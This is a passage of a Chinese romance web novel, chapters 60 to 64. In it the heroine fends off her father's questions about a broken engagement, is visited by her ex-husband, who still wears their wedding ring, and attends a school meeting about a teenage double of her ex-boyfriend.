隐约听见卧室里忽而一声咳嗽,林念禾后背一紧。 霍锌站在玄关,距离那么远,估计是听不见。 但她做贼心虚,对上霍锌的目光,不自然地抿了下唇。 手里的猫老实缩在他的怀里,尾巴绕在他的掌心,有一搭没一搭地往上翘。 毛茸茸的毛发扫过皮肤,霍锌见鬼地在看见她抿唇后,联系到刚才那个单纯的吻,耳根发烫。 “晚安。” 说完,门被关上。 看似平和的男人,有点落荒而逃的意味。 林念禾琢磨了一下,没琢磨出原因。总归不是她露馅,可能是他脑子有问题。 搁心里抱怨了一会儿,她伸懒腰,起身动动腿脚,迈步往主卧去。 浴室门被打开, 小霍倚靠在洗手池边缘,撩眼看了她一眼,把手机收回去。 走之前,他 是什么样子,现在就还是什么样子。 因为有点亲上头,她当时手就不自觉往他的衣摆里钻。 少年被吓了一瞬,身体一僵。但没拒绝,低头亲得更用力,攥住她的手,带着她往衣摆里去。 林念禾站在门边,回忆了一下那手感,确实数一数二。 全程小霍的手老老实实,反观她直接摸进去。虽然很畜生……但很快乐? 瞧见少年凌乱的衣领,露出来的锁骨,还有肌块垒明的腹部,林念禾强迫自己把视线挪开,“霍锌走了。” “哦。”他突然问,“还要亲吗?” “” 可以偶尔犯一次错误,追着犯的就是纯变态了。 她果断拒绝,并且把人送走。 一夜无梦,睡眠质量好到炸裂。 次日, 林念禾下班,踩着饭点到的陆宅。 温诗依旧是柔柔弱弱的样子,却比上一次见面瘦了很多。饭桌上,她没有话语权,只顺从地坐在陆建林手侧替他时不时夹菜。 坐了半天,陆建林没开口提姜家解除婚约的事情。 林念禾心里犯嘀咕,面上笑着关心,“爸最近看起来瘦了点,您得多吃点。” 他凉凉扫了她一眼,“有你,我能安心吃饭” “有我,您得多吃两碗饭。” “……”似乎是被她的不要脸给噎到,陆建林好半天没说话。 “我妈当年白天撞见您出轨秘书,晚上照样吃两碗饭。人是铁,饭是钢,不能先把自己饿死了。” 话听起来是挺关心人的,但就是哪哪都不对劲。好像巧克力,人吃了没事,狗吃了就得狂叫。 陆建林脸色沉下去,“行了,别揪着那点陈年往事不放。” 林念禾闭上嘴。 “姜家的事,你给我老实交代。” “他们自己反悔的,跟我有什么关系。” 他被气笑了,“你真以为我不知道” “您都知道了,还问我做什么。”她把筷子放下,没了食欲,“合作还没开始,姜家那边提的解除婚约,就势必会补偿我们。无论从哪个方面看,陆氏都不亏。” “那你为什么不提前告诉我。”他生气的是自己做的决定,被林念禾推翻,并且是在他不知道的情况下进行,等他回神来才知道她干的好事。 “我也不知道啊。”林念禾满脸无辜,“我跟姜砚同一天知道的消息,不信你去问。爸,我是你女儿,难道我会骗你吗?” 会的,她必定会骗的。 陆建林见她表情不像作假,语气缓和了一点点,“我去问姜砚” “他最近在闹绝食,我去做什么,给他送饭吗?” 他又不是他儿子,他给人送饭做什么。 没想到姜砚用这种方式和姜父做抗争,林念禾沉默了一会儿,心里微微涌起愧疚。 “那你和霍锌是什么关系” 不止陆建林望着她,连正在给他盛汤的温诗也闻言投来目光。 “没关系,他欣赏我,想和陆氏合作。” 陆建林闭了闭眼,“他因为欣赏你,找到姜家,让人改变主意” “是的。”林念禾斩钉截铁。 “你把我和你温阿姨当傻子是吗?”他顿时有股无力,自从女儿认回来,他这个唯一继承人的作风就越发顺着他未曾设想过的方向一路发展。 生意场上,不要脸,张嘴说鬼话,是项优点。 但用在自己身上,他属实有点招架不住。林念禾再这个风格下去,他能少活十年。 “他倒贴。” 简单三个字犹如平地炸雷,饭桌上其余两人,动作不由停下。 “我没接受。” 是的,只是亲了两口,摸了两下,除此之外再无交集。 她没接受任何一个男人。 陆建林望她,眼神复杂,难以置信,“霍锌倒贴,你没接受” 明明每个字都能听的懂,可组合起来他硬是无法理解。 自家女儿在他眼里当然是数一数二的,可那是霍锌,要什么样的人没有,他硬倒贴林念禾 林念禾叹了口气,拿起水杯,“爸,我跟您说实话,我不喜欢霍锌那样强势的。” “我的婚事你就别操心,我打算找个男的赘进来,让他改陆姓,孩子也姓陆,天天在家带孩子伺候您。” “男人还是得选听话的,霍锌这种太难拿捏,他不听我话。以后我给您找个听话的女婿回来,我说一不二,要他向东他就不敢向西。” “到时候他带孩子,您钓鱼,没事他还给您按按腿,讲讲笑话,家里有他在,温姨还能抽空去旅游。” 大概是她的话过于惊悚,突破了陆建林对女性的刻板印象,他罕见地沉默了。 理智告诉他,女人不能这样。 心里另一道声音窜出来说,好呀这样多好,他陆家的香火就能传承下去,不用害怕嫁出去的女儿泼出去的水。 左右脑互搏半天后,陆建林陷入了沉思。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 第61章吻手腕 对比他的纠结,温诗却接受良好,没有露出什么奇怪的表情。 但是也没说话,似乎是这段时间瘦了太多,导致精力不济。林念禾多看了她几眼。 吃完饭,陆建林没有留她,挥手让她快滚。 感觉多看她一眼,折寿好几年。 前脚出陆家,后脚霍锌就给她发消息问怎么样,解决了吗? 林念禾犹豫两下,回道:解决了。 至于怎么解决的,别管。她扯的那通胡话,估计陆建林或多或少信了一半,不可能全信。 起码婚姻这块,很长的一段时间里,他不会再动念头。 想起席间陆建林跟她说的,姜砚闹绝食,林念禾有些头疼。 不吃饭,还能输营养液。他是姜家的亲儿子,反正不会被活活饿死。 可自己容易心软的毛病又犯了。 林念禾一焦虑就想抠点什么,环绕车内一圈,司机安静地目视前方。 不能抠,这是她换的新车。 很贵。 正当她忍到心里发痒的时候,手机叮咚进来一条新信息。 解锁点开,是江予州发过来一张图片,不等她点开,对方迅速撤回。 聊天框上方显示半天的正在输入,林念禾对着空空如也的界面陷入怀疑。 他憋半天在干什么? 转错信息了 那头发过来的图片,她虽然没有点开,粗略扫了一眼,也大致看见个轮廓,是只小狗的照片。 林念禾仔细品了品,没读懂他什么意思。 手机对面敲了半天字,像是在纠结不小心手滑打扰到她似的,抱歉道:【不好意思,转错照片了。】 下一条信息紧接着弹出来,【之前乐乐配种生下的小狗里面,有一只最近怀孕生了一窝小狗,主人问我要不要领养一只。】 决定带狗绝育之前,她刷到了同城配种的帖子。因为对方和自己家养的是同一品种,简单交流后又恰好发现住在同一小区。一来二去,江予州就抽空把孩子送过去住了一晚上。 算算时间,那窝小狗也快两岁了。 江予州仿佛知道她内心的想法,把刚才撤回去的照片重新发过来,问,【我把它带回家了,刚给它买东西。】 林念禾动动手指,【很可爱,长得真像它爷爷。】 一晃几年过去,她儿子都当爷爷了…… 内心涌起的几分沧桑感很快被江予州发过来的视频冲淡,对着镜头嗷嗷叫的小狗可爱到让人想一口亲死它。 江予州:【前天打扫家里,发现你大学的毕业照落在书房了,要过来拿吗?】 【不用,我改天再去。】 那边安静了几分钟,忽而林念禾的电话铃声响起。 是江予州打过来的视频电话。 她疑惑了一下,以为有什么重要的东西又落在了原来的屋子里面,手指滑动。 接通的瞬间,男人出色的侧脸闯进视野。镜头晃动,下一秒,他修长的手出现在手机里。 江予州的手一如既往的漂亮,骨节分明,指甲尖端圆润。衬衫袖口挽起半截,白皙的骨 腕落在林念禾眼里,方才的手痒变成了心痒。 想咬一口…… 真不是林念禾变态,都怪江予州以前老爱这么逗她,导致现在养成了条件反射。 欣赏一会儿后,林念禾喊了几声他的名字,对面的人毫无反应。 江予州刚从外面回家,另一只手拎着东西,像是开门的时候误触手机,不小心拨通电话。 八成是方便开门,把连在手机上的蓝牙从耳朵上摘下去了,所以听不见林念禾的声音。 于是她就这么静静地看完了江予州进家门的全过程。 手机被他握在手里倒扣过来,屏幕朝地面。 林念禾欣赏完帅哥的脸,帅哥的手,想挂电话。手刚挪到挂断按键的上方,冷不丁听见一阵嗷呜的小狗叫声。 他蹲下去,摸摸它的脑袋。小狗往他手心里挤,鼻尖偶尔碰到屏幕。 林念禾心都要化成水了,倏地对上一张熟悉的脸。 江予州愣了一秒,站起来,望向屏幕那头的人。他扫了一眼通话时间,眼睫下垂,遮住眼底的情绪,开口道歉解释,“进门的时候可能不小心碰到了,不好意思。” 他道歉的态度真诚,满脸写着因为打扰到了她,而感到抱歉。 “没事,你忙吧。”她打着圆场,“拜——” 剩下一个字没等说出口,对面屏幕一阵晃动,重物落地的声音伴随一道男人的闷哼。 手机摔在地上,镜头被挡住,她看不清情况。 林念禾反应过来,“怎么了” 问了好几次,那头还是静悄悄的。意识到江予州可能晕过去了,担忧席卷过心脏,她赶忙对着司机报出一个地址。 一路上,车速提到最大。 房子的门锁没换,林念禾试了一下指纹,门滴答一声打开。 江予州倒在地上,小狗安静地坐在他的身边,一看见陌生人进屋,开始狂叫。 叫声过于响亮,震得人耳膜发疼,他眼皮微颤,悠悠转醒。 林念禾把他扶到沙发上,摸了摸额头温度,没有发烧,再一看他唇色有些发白。 “要去医院吗?” 江予州张了张嘴没出声,她果断收拾东西,准备拉人去医院。 男人摁住她的手,摇摇头,“低血糖,不要紧。” “低血糖严重的,也会死人。你别跟我说什么没事。” 林念禾一着急,语气跟着不好,看见茶几摆着的几块巧克力,剥开包装送到他的嘴边。 江予州唇角微扬,顺从地就着她的手,吃掉东西。甜味遍布口腔,客厅安静了一会儿。 “像不像白雪公主躺在棺材里,等着王子来救?” “……” 很好,还有力气跟她开玩笑,看来不严重。 林念禾瞥了他一眼,面无表情往他嘴里塞进一粒从小霍那顺来的水果糖,“人家躺的是水晶盒子,不是棺材。” 他嘴上没反驳,心里认定是公主来救王子。 视频电话是个幌子,他故意拨通的,但后面的晕倒纯粹是意外。 江予州没恢复多少力气,他现在头还是晕晕的,躺在沙发上,仰头望着林念禾。 她正在打电话给楼下司机,让他去附近餐厅定份晚餐送过来。 黑发垂在肩侧,客厅顶部的暖光倾洒下来,侧脸笼罩在光线中,表情冷淡。 有股说不出的触动,他听见心脏在胸腔里跳动,一声比一声大,仿佛又回到了同居的那两年时光。 林念禾打完电话,视线一转,猝不及防看见他盯着自己走神的样子。 下意识皱眉,问,“不舒服” “没有。”他回神,很想朝她笑笑,半天,挤不出来一个笑容,勉强扯了扯唇角。 “姜砚那边,你处理完了吗?” “差不多吧,他总不可能绕过他爸妈。”她随手捞了个橘子,慢吞吞地用指甲抠下一小块果皮。 姜家的事情她不想对外透露太多,因为江予州当时也在场,这事已经摆到明面上了,他关心关心进展也很正常。 林念禾没什么胃口,随手将剥好的橘子喂给他。 江予州抬起上半身,手肘支在沙发上,衣领敞开,一条银链挂在脖间。 因为平常要给学生上课,他通常除了婚戒不会佩戴其余任何首饰。她蓦然瞧见那条项链,视线不由顺着往下去。 他倏地咳嗽了两声。 林念禾回神,目光重新回到对方的脸上。男人被她刚才的眼神看得耳根发红,本身脸色不太好,没什么力气阻止她,给人一种可以朝他为所欲为下手的病弱感。 …… 她脏了。 脑子里都是些什么龌龊的东西。 江予州抿唇,不太好意思地避开她的注视,“要看吗?” 林念禾:? 她只是好奇他带的什么项链,没有任何变态念头。 他手碰到纽扣,白色衬衫下包裹着男人的躯体,似乎是被林念禾的目光刺激到,呼吸陡然急促一瞬,斯条慢理地解开最上方的扣子。 往下,刚摸到第二颗的时候,林念禾猛地握住他的手,压着,“我不是那个意思。” 这群男人,最近都吃错什么药了,一言不合就脱衣服,仿佛她的眼神是鼓舞人色/诱的兴奋剂。 江予州一言不发,反握住她的手背,抬眸直直凝视着她,漆黑的眼眸深处是浓稠的欲望。 温热潮湿的呼吸洒在手腕内侧,她下意识想抽手,后者却不知道哪来的力气,将林念禾的手禁锢住。 轻轻的吻落在那块地方,最敏感的皮肤下方是跳动的脉搏。江予州支在身体下方的手心死死陷进沙发,手背青筋脉络渐渐明显。 剧烈的情绪洗刷着胸腔,血液因为感受到她的心跳而变得滚烫。 他的吻很轻,手腕处生出一些痒意。林念禾避开他压抑炙热的注视,那股视线直白而藏着深意。 客厅的气流仿佛变得黏糊静止,橘皮散发出的清香塞满她的鼻腔。很久之前,自己在江予州的身上也闻到过类似的味道。 大脑乱糟糟的,她忽而下移,望见那条露出来的项链中央是一个银圈。 很熟悉的样式,几乎在看见的同时,林念禾就认出来那是属于江予州的婚戒。 他没有收起来或者扔掉,而是戴在胸口处。白天上班工作,晚上睡觉,戒指就藏在他离心脏最近的地方,每一次的跳动都会透过血肉骨骼传到银圈。 江予州发现她木楞的表情,寻着视线看见某个露在外面的物品。他笑了笑,带着她的手往下。 沾染他气味和温度的戒指落到林念禾的掌心,呼之欲出的答案浮现在脑海里。 她不是傻子,当然知道这是什么意思。 语言功能被这一突发情况撞得稀碎,林念禾张了张嘴,抬眸看他,又看向那枚戒指,不知道该说些什么。 前夫对自己余情未了。 “你……” 江予州缠绕过来,离她很近,很多话堵在喉咙处,不知道从哪说起。他克制而温和地开口,“我没有逼迫你的意思。” “我不希望我的喜欢成为你的负担。只是……”他顿了顿,后半句话没能说出来。 那些阴暗的,妄想占有的念头,通通被他藏进心底。 门铃响了,林念禾起身去拿饭。 江予州拢了拢散开的衣领,沉默地注视她离去的背影。 在逃避吗? 也有可能是对他没兴趣。 热腾腾的饭菜摆到茶几上,林念禾贴心地将筷子递到他的面前,“先吃饭吧。” 至于剩下的,等她冷静下来再说。江予州吻手腕那会儿,她的大脑就不运转了,更别提眼下。 林念禾不放心他的身体状态,大病初愈,又不好好吃饭,本来想陪他吃完再走,顺便还能逗逗小狗。 现在别说逗小狗了,她感觉自己才是被江予州逗的那条狗。 被亲过的皮肤好似发烫,一路烧到心底。 两个人沉默地吃完一顿饭,期间江予州还给她剥虾。因为心神不宁,思绪混乱,她味同嚼蜡,半点味道没尝出来。 准备走的时候,一通电话进来。 林念禾看了下电话号码,是个陌生来电,接通后,那头一道中年女声严肃问:“您是霍忻的家长吗?” “……”她愣了下,思考这问的是哪个霍锌。 她没变态到跟霍锌玩家长学生的角色play,那只能是小的那个霍锌了。 “我是,您有什么事情吗?” “电话里说不清楚,麻烦您尽快来学校一趟。” 电话挂断,林念禾脸色陡然 变黑,把手机收回兜里,“我先走了,你休息吧。” “是你表弟学校的事情吗?” 话落,她往门边走的动作一僵,“对。” 江予州语气淡淡,扔出一个惊天疑问,“他为什么和你前男友长的一模一样?” 第62章 第62章一家人 明明他语气平静,随意到好像只是在单纯好奇,没有任何联想,可林念禾还是下意识地后背一凉。 冰凉的门把贴着掌心,她开门的动作缓下来,“可能是撞脸。” “那……长得会不会有点太像了?” 从头到脚,连身高都只差一两厘米,如果不是因为年纪不同,外人甚至会将他们当做双胞胎。 江予州目光沉沉,凝视站在玄关处仿佛静止的人。 现在细细回忆,那个自称表弟的男生对他的各种敌意,对林念禾的讨好卖乖,现在都能解释的通了。 当死一般的沉默几乎要溺死林念禾时,她终于忍不住想跑。 秦於是傻子,可以随便糊弄。 姜砚也是傻子,可以糊弄。 但江予州比前两个聪明得多,在见过霍锌和小霍的情况下,她再一口咬定小霍是她表弟,可信度所剩无几。 婚姻存续期,瞒着老公把无家可归的前男友带进自己家。 真厉害。 在心里暗骂了两句小霍,林念禾盯着门板,胡乱回答,“可能吧,我也觉得他俩长得跟一个妈生的似的。” "早点休息,我先走了。如果身体不舒服,可以给我发消息。" 话落,林念禾倏地被一股男人的气息环住,江予州的味道和别人不同,总带着暖洋洋的意调,就像阳光晒过的被子。 脑袋宕机的前一刻,她觉得这人身上的人夫感过于强烈了。 怎么离婚后,还有人夫味? 疑惑刚冒出来,林念禾听见后方的男人开口。 他嗓音微哑,压着她的手,开门,“一起吧,我有朋友在二中当老师,说不定能帮忙。” “不用,太晚了。” 言外之意,时间太晚,怕麻烦到他。 为什么怕麻烦,因为他是外人吗? 霍锌,那个长着和霍锌同一张脸的高中生,还有林念禾,他们才是一家人。 江予州垂在身侧的手,指节泛白,压下心里翻涌而出的妒意,语气却平常,“去年我住院,表弟照顾过我一段时间。” “能请家长的事,多半不是小事。校内违纪,严重的话,会挨处分,档案里面记下来一笔,会影响他以后的大学录取。” “还是……”他顿了下,“我不能和他见面吗?” 林念禾倏地偏头,对上男人的目光,后者眸色深沉,脸上带着说不明的意味。 几分钟后,她站在电梯里,透过电梯壁看见旁边的人。 觉得自己是心虚,导致脑子进水。 她带江予州干什么? 小霍就跟外星人一样,不属于这个世界。挨个处分,也不会影响他以后啊。 林念禾想了一会儿,把这一切都怪在霍锌头上。 车行驶在路上, 给小霍挑高中时,她特意做过调研。周边几所公立学校,二中是里面事最少的,主打有事校内解决,不甩锅家长。 以至于在接到电话,被老师传训的那刻,她满脑袋都是问号。 他最好别是打架惹事被抓,不然她真的会弄死他。 晚上八点, 学校里面灯火通明,因为学生们都在上晚自习,校园里静悄悄的。 林念禾按照记忆里的路线找到办公室,敲门进去的时候,最外面的办公桌上正有几个学生英语听写不及格,站着在重新听写单词。 班主任的办公位在最里面。 桌子前面聚着几个男生,小霍站在中间,一手撑着桌面,弯腰跟班主任聊着什么。 班主任皱眉,挥手让他站好。 他嘴角一扯,不情不愿地退回去。忽而眼眸一转,望见站在门口的林念禾,表情顿时五味杂陈。 "老陈,咱俩不是说好的吗,不叫家长。" "你少废话,给我站好了。" 被叫老陈的班主任起身,给林念禾和江予州拿了两个板凳,示意他们坐下。 对比林念禾的拘束,江予州显得轻车熟路。 老陈朝小霍命令,“去倒两杯水。” 办公室的柜子里放了一次性纸杯,他眉眼搭下来,走到饮水机跟前,倒了一杯温水和一杯开水。 他把温水递给林念禾,短暂的交接过程中,小拇指轻轻勾了下她的手心,带着讨好的意味。 转而轮到江予州面前,他就没那好态度了,水往人面前一放,径直走到林念禾身后。 江予州看了他一眼,手心碰了碰水杯,“有点烫,能帮我换一杯吗?” 杯口往上飘着缕缕白雾。是个人都能看出来,这温度压根不能喝。 小霍撩眼,怼人的话刚冒到嘴边,一对上江予州温润包容的眼神,陡然熄火。 再扫视一圈,办公桌边的几人正纷纷投过来不解的目光。 他蓦地发现自己走了一步错棋,于是一声不吭把杯子拿回去,重新倒了一杯温度刚好的水放在他面前。 “剩下的都先回班自习,等你们家长来了我再骂你们。” 老陈一挥手,剩下的几个男生乖乖离开。 “高三的重要性,不用我说,你们做家长的都该知道。我带过很多届高三,里面也有不来学校上课,在家复习最后考上c9的。但是学校有学校的意义,很多学生做不到自律,他就只能靠老师来管束。” 话说到这个份上,林念禾懂了。 这死小孩,旷课太多被抓。 “霍忻的成绩,按理来说,稳定下去,c9不是问题。”老陈越说越气,拧开茶杯,喝了口,缓和情绪接着道,“我今天上午巡班没看见他,他同桌说他头疼请假回家了。头疼脑热的很正常,我也没说什么。” “好嘛,下午我家里有事,刚出学校两步,就看见他抱着个篮球站校门口,跟人打电话。” “这些我也不提了。” “今天晚自习刚开始,居然跟隔壁班的人动手。” 林念禾也懂了。 这死小孩,打架被抓。 她眼见老陈的脸越来越红,赶忙道:“我回去一定会好好教育他的,您放心。” 江予州接道,“旷课确实不对,该骂骂,该罚罚。但是打架这件事,我还是想先了解清楚来龙去脉。毕竟这个年纪的小孩年轻气盛,很容易做出不好的事情,我们家长老师的责任就在于如何引导他们。” 两道视线不约而同地望过来,江予州平静如常,"所以他为什么会动手" 老陈原本激烈的情绪忽地一下跌落。 这事,他了解过,隔壁班被打的男生嘴贱,说了几句难听的话。 一群男生趴在栏杆上吹风,听见脏话,都去看小霍的脸色。原本是打不起来的,隔壁班那男生不知道吃错什么药,追着不放。 总的来说,错不在小霍。 老陈叹了口气,"这事,他没错,是对方先撩起来的。问题是他下手重,给对方打骨折了,还有两个月高考,你说这怎么办" "人家家长现在在医院陪着儿子动手术,估计等会儿得找你们闹了。" 林念禾笑了下,“闹也没用,责任不在我们。” “话是这么说。”老陈愁眉苦脸,“骨折不是小事。” “那他们得先拿出证据证明,是我弟弟打的。” "我弟弟下手有分寸。"江予州附和,"肯定不会轻易把人打到骨折,老师您也带他这么久了,多多少少对他性格有了解。" 他回头看了下小霍,无视对方阴沉沉的样子,"他平时嘴毒了点,有点不爱说话,性格有点恶劣,做事冲动。但总体来说,是个好孩子。" 一溜烟的缺点说完后,江予州像是找不出缺点了,找补道,"我相信他不会把同学打成那样的。" 老陈眉毛快皱到一团了,满脸惆怅。 门口忽地两道敲门声,男人立在门边,气质矜贵 ,神情淡漠,环视一圈屋内,目光在江予州身上停留一刻,最后落到林念禾的身上。 霍锌抬步过来,冷冷扫了眼小霍。 老陈乍看他的脸,就知道他跟自己学生多半是兄弟。 小霍抱怨,"喊这么多人来干什么?" 说好私下里解决,结果背着他给林念禾打电话。这下好了,霍锌也来了,一屋子的人,能凑一桌麻将。 老陈瞪了他一眼,本着为学生负责的念头,问霍锌,"你是霍忻的什么人?" "哥哥。"他很自然地站到林念禾的身侧,手搭在她的肩膀上,"不是告诉我回家了?" "……" 见人不说话,他垂眸,捏了下她的耳垂。 微信上告诉他回家了,结果是带着前夫来给前男友解决学校问题。 真是好样的。 林念禾站起来,"老师打电话让我来的,既然你来了,你解决吧。" 江予州顺势跟着起身,"时间确实不早了,我们先回去" 他跟着林念禾来的,林念禾肯定要给他完完整整送回去。 小霍额角一跳,拦住他俩,"不准走。" 江予州笑笑,"你哥哥来了,还需要我们留在这里" 脸上是笑的,眼里却没有多少笑意。 哥哥两字落在在场人耳朵里,异常刺耳。 他自己在林念禾那儿对外挂了个弟弟的名号,又跟霍锌扯上关系。 小霍幽幽望了他一眼,知道这人多半在不爽,明明知道了他们的关系不干净,但为了保持人设,只好硬装糊涂。 气氛转瞬变化,旁观席位的老陈看着他们,越来越糊涂。 三个人都是小霍的家长,可三个人的关系又很诡异。 如果说林念禾和霍锌是兄妹关系,那他们的举止则过于亲密。如果他俩是恋人关系,那林念禾和江予州又是什么关系 教语文的老师理了半天,理不出来。 想到之前有学生找人假扮家长糊弄老师的事情,老陈把水杯放到桌面,肃声问,"你和他们三个是什么关系" 忙着拦人的小霍: 他啧了一声,想开个玩笑糊弄过去,转眼望见老陈严肃的表情,"……" 小霍指着林念禾介绍,"姐。" 下巴冲霍锌一抬,"哥。" 最后对上江予州,他顿了顿,"哥。" 第63章 第63章糖 那声哥,叫得不轻不重。 微妙的短暂停顿中,林念禾仿佛听见他在愤愤磨牙。 老陈半信半疑,瞧瞧这个,又看看那个,最终留在霍锌的脸上。 班里学生的家庭情况,他都有所了解。哪怕不懂那些个服装品牌,也在学校门口撞见过好几次从豪车上下来的霍忻。 霍忻家不缺钱。一个电话能喊过来两个哥,一个姐姐,现在看来八成也同样不缺爱。 是个标准的用爱意和金钱浇灌出来的孩子。 他嘴唇动了动,想跟这位学生哥哥说两句,手里就被塞了张名片。 特助不知道什么时候钻到班主任身边,态度礼貌,"学生内部矛盾,就不需要老师操心了,我们会解决好,您放心。" 老陈懵了一下,低头看见手里的烫金名片,顿时不说话了。 他确实是多虑了。 人家年年高薪聘请的法务团队,分分钟就可以解决这种微不足道的小事。 心中对自家学生的钞能力有几分估计,他喝了口水,像是看开了些什么,挥挥手,"行了,那也没什么好聊的。就旷课这个问题,我还是希望家长能多重视。等会儿我得去监堂,你们把他带回去教育教育,这事就算了。" "下次如果再被抓到,就得按校规处理。" 高高举起,轻轻放下。 林念禾对这个结果并不惊讶,以前上高中,霍锌他爸就给他收拾过很多次烂摊子。 现在转过头,27岁的霍锌当然会给十八岁的自己托底。 事情解决了,剩下的不需要他们出面。 医院那边,会有专人去处理。 小霍临走前不忘礼貌,跟人拜拜,"谢谢老师,老师明天见。" 四个人往门口走的气场颇为吓人。 霍锌走在林念禾的身边,低眸看了眼她不太好的脸色。 又看看身后坠在后面几步的男生,"他有点烦人。" 这句评价很中肯。 林念禾一回忆起刚才老师那欲言又止的惋惜眼神,后背直冒凉汗。 当年高中,但凡考差了一点,妈妈就会拿那种眼神沉默地望着她。 多少年了,以至于在林念禾看完多部经典恐怖片后,发自肺腑地觉得贞子比不上她妈的那一个眼神。 本来童年恐惧快要淡去,消失在漫漫人生中,今天拖某位男高中生的福,直接梦回学生时代。 林念禾木着脸,"闭嘴。” 她现在没心情跟他说话。 下课铃倏地响起,拉长的尾音结束后,校园里瞬间热闹起来。 嘈杂的人声从教学楼那边传来,绿茵树下,他们沉默地走着。 小霍注意力全放在前面人的身上,察觉到林念禾脸色差得吓人,很有眼色地没有上前多嘴。 她现在正在气头上,虽然不知道气什么,但肯定是因为自己。 他会的那些哄人手段,上不了台面,只能私底下悄悄进行。光明正大地用,被这俩狗玩意儿看见了,不得手撕了自己。 想到这,小霍睨了眼旁边的江予州。 后者侧脸对上他不太友好的目光,“有事” “没。”他说完这个字,顿了片刻,“你为什么也来了?” 打江予州进门的刹那,他就想问了,老绿茶是不是又趁他不注意跑去勾引林念禾。 “毕竟我们以前是一家人。” 江予州不紧不慢,“刚才在办公室里你既然我叫哥哥,我总得负点当哥哥的责任。” 哥哥两个字,听得男高中生鸡皮疙瘩直掉。 冷着脸陈述,“你们离婚了。” 不仅离了,还离半年多了。 “哦。” “……” 江予州反应平淡,直视前方。好像一汪平静的湖水,被人砸进一小块石头,短暂地掀起一点涟漪,然后又恢复原状。 他脸上的表情变都没变,还反过来劝他,“还有一个月就高考了,好好学习,如果报A大,说不定我们会在课堂上遇见。” 江予州每年都会带大学物理的公共课,运气好的话,说不定真的能碰巧撞上。 至于撞上后,他会不会借着老师的名义刁难学生,这都不好说。 出于对情敌人品的不信任,小霍嗤了一声,“我报A大,方便你和林念禾见面” “你对我有偏见。”江予州望向他,眼里带着装出来的困惑,“我一直很好奇表弟会对表姐有这么强的占有欲吗?” “无论是雏鸟情结,还是其他情况,都不应该出现。”他想到前阵子在学生那儿听见的新词,幽幽道,“文学是生活的抽象作品,现实里的骨科只会被姐姐打断腿,送进医院。” 少年眸子里满是错愕,大脑飞速转动几秒,回味过来他说的意思。 差点忘了,还有个亲表弟的身份。 自己某些时候展现的情绪,比起表弟更像是恋人。 小霍忽地沉默,抬眼看见前方几米开外的两人,压低声线,确保不会让其他人听见,以一种假的要死的惊讶口吻说,“居然被你发现了。” “好吧,我承认,我喜欢林念禾。” “哪怕被我姐打断腿,我也会继续喜欢她。” 他耸了下肩,无所谓,“腿断了还能长好,留在姐姐身边的机会只有一次。所以对不起,你就死了那条复合的心吧。” 要是林念禾听见这话,估计会当场把他的头拧掉。 可惜她没听见。 要不是人还在气头上,他还挺想当林念禾面说的。 江予州神情复杂一瞬,被对方不要脸的话恶心 得宛如生吞苍蝇。 走到校门口,林念禾才记起来落在身后的两人,一转身猝不及防望见江予州极差的脸色,“你身体不舒服” 男人摇头,本想说没事,心念一动,屈拳抵唇轻咳两下,不好意思,“有点不舒服。” 尾音一落,林念禾上前几步,踮脚想碰他额头的温度。 这几天升温又降温,最容易感冒了。 江予州握住她的手腕,几乎是瞬间,两道危险的视线同时投过来,他刻意停顿片刻的接触,放开。 “不是发烧,我缓一会儿就好了。” “我让司机送你去趟医院吧。”林念禾担忧。他今天晕了一次,现在又不舒服,回家万一出点什么事,谁都救不了。 “你不送我回去吗?”江予州眼睫低垂,“我不想去医院。” 他已经在医院待得够多了,光是闻到刺鼻的消毒水味,就下意识地想要呕吐。 晚风吹过, 霍锌立在一边,静静看着她的发梢被风带起,扬起弧度,落下。 似乎思绪放空,不知道在想些什么。 卖惨这招,在场的三个男人各个都用过,只不过没江予州用的多,用的顺手。 所以在他开口问林念禾的刹那,小霍就知道这人又借着身体不好,利用着前妻的心软,肆意妄为。 少年差点没控制住自己嫌恶的表情,偏头,缓了缓,手摁在江予州的肩膀处,力度不大不小,含着淡淡威胁的意味。 “我姐明天还要上班,你别麻烦她了,我送你去医院,然后再送你回去。” 十八岁男生的威胁,不足以让江予州放在眼里。 他心觉这死小孩真大爷的烦人,侧眸乍瞧见那张和霍锌一模一样的脸,更加烦。 江予州把那些负面情绪压到心底里,杵在原地,任由后者把身体的大部分重量压在自己身上。 还挺重。 林念禾听见小霍的话,思忖片刻,抬眼看见两人稍显平和的氛围,觉得这事好像挺好。 让高中生戴罪立功,送江予州去趟医院,自己能早回家休息,折腾到这个点,狗都得累趴下。 "让他送你去" 江予州拒绝得很快,"不要。" 话罢,眼神直溜溜地望着她,好似一条硬装没事的大狗,乌黑的眸瞳隐隐约约有委屈不停冒出来。 奈何晚上光线有点暗,林念禾轻度散光,瞥了眼他的表情,没发觉出一点不对劲,直接一锤定音,"哦,不行。" 她指着小霍,"你去送他做个检查。" 被安排明明白白的两个人,一个笑僵在脸上,另一个虽然不情愿但脸上的表情还说得过去。 "走吧,江哥。"他上前几步,打开林念禾新提的迈巴赫后座车门,一副恭候的样子,"早结束早回家,我明天还得上早八。" 什么叫端起石头,砸自己的脚。 江予州算是明白了。 如果他今天不去医院,下次再用这种手段吸引林念禾,估计就没效果了。 剩下的两个情敌,一个正虎视眈眈等着他往坑里跳,另一个老谋深算不知道在想些什么。但总归都是想从他身上撕下一块肉,好让他退出。 进退两难的时刻,他忽地很怀念几个小时前在家能直接晕倒的本事。现在要是直接晕过去,林念禾必定会舍弃另外两个,选择他。 可惜,人生不是演戏。 他没有那个原地表演的本事。 正当江予州内心翻天倒海的时候,林念禾往他手里放了一颗糖。 是她刚掏兜,偶然发现的。 被体温捂得有点融化,原本摸起来硬硬的糖果,隔着包装纸捏起来挺软。 林念禾不爱吃这种糖,回忆了一下应该是从江予州那儿顺的,索性就反手塞回去。 掌心塞进来一个陌生物体,他低眸看了下,糖纸还有对方残留的体温,顿时有些说不出话。 像走在寒冬腊月的旅人,冷不丁找到一所温暖的房屋,供他取暖。 心脏底部倏地裂开一条细缝,接着是噼里啪啦的的声音,热流钻出来,渐渐汇成一股滔天的喜悦。 江予州喉结动了下,最终退让,"晚上回去注意安全。" 目送车尾消失在道路尽头,林念禾一转身,撞上旁边许久没说话的霍锌,差点吓一大跳。 指责的话在接触到他意味深长的眼神时,硬生生咽了下去。 "为什么这么看我" 第64章 第64章(修)你有这个需求可以…… 她往后退了一步,莫名有些害怕。 学校门口的保安室里,看门的大爷一直往他们这边张望,眼神止不住地往霍锌身上瞟。 